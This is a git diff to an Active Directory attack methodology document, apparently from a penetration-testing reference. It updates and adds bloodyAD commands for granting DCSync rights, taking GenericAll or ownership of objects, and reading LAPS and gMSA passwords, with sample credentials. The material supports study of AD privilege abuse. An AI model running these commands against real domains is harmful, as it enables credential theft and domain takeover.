diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md
index 4848f3d..c15d1da 100644
--- a/Methodology and Resources/Active Directory Attack.md	
+++ b/Methodology and Resources/Active Directory Attack.md	
@@ -2856,10 +2856,10 @@ To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privi
   	* On Linux:
   	```bash
 	# Give DCSync right to the principal identity
-	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B addDomainSync user2
+	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2
 	
 	# Remove right after DCSync
-	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B delDomainSync user2
+	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False
 	```
   
 * WriteDACL on Group
@@ -2867,6 +2867,13 @@ To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privi
   Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
   net group "INTERESTING_GROUP" User1 /add /domain
   ```
+  Or  
+  ```powershell
+  bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp
+  
+  # Remove right
+  bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False
+	```
 
 #### WriteOwner
 
@@ -2875,6 +2882,10 @@ An attacker can update the owner of the target object. Once the object owner has
 ```powershell
 Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
 ```
+Or  
+```powershell
+bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object
+```
 
 This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
 
@@ -2886,6 +2897,10 @@ An attacker can read the LAPS password of the computer account this ACE applies
 ```powershell
 Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
 ```
+Or for a given computer  
+```powershell
+bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
+```
 
 
 #### ReadGMSAPassword
@@ -2900,6 +2915,10 @@ $mp = $gmsa.'msDS-ManagedPassword'
 # Decode the data structure using the DSInternals module
 ConvertFrom-ADManagedPasswordBlob $mp
 ```
+Or  
+```powershell
+python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword
+```
 
 #### ForceChangePassword
 
@@ -3953,4 +3972,4 @@ CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
 * [How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks - Thursday, April 18, 2019 - Nikhil SamratAshok Mittal](http://www.labofapenetrationtester.com/2019/04/abusing-PAM.html)
 * [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials)
 * [Network Access Accounts are evil… - ROGER ZANDER - 13 SEP 2015](https://rzander.azurewebsites.net/network-access-accounts-are-evil/)
-* [The Phantom Credentials of SCCM: Why the NAA Won’t Die - Duane Michael - Jun 28](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9)
\ No newline at end of file
+* [The Phantom Credentials of SCCM: Why the NAA Won’t Die - Duane Michael - Jun 28](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9)